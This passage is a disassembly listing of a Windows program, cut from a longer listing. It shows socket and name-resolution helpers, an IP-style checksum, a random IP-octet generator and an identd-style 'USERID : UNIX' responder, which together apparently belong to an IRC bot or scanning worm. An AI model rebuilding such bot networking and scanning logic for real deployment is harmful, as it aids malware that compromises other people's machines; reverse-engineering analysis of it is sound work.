		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07

loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------

loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EEC8
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------

loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------

loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004

loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18

loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------

loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------

loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1

loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0

loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------

loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx

loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------

loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx

loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------

loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax

loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------

loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------

loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E

loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------

loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------

loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------

loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------

loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------

loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1

loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx

loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E294, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E298
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E294
		call	sub_409C9D
		pop	ecx
		pop	ecx

loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E298
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx

loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------

loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------

loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------

loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0

loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------

loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0

loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx

loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------

loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------

loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------

loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------

loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------

loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------

loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax

loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------

loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------

loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DE8C	; freeaddrinfo

loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------

loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1

loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------

loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------

loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------

loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------

loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------

loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt

loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------

loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
		call	dword_417268	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404822
		push	[ebp+var_34]
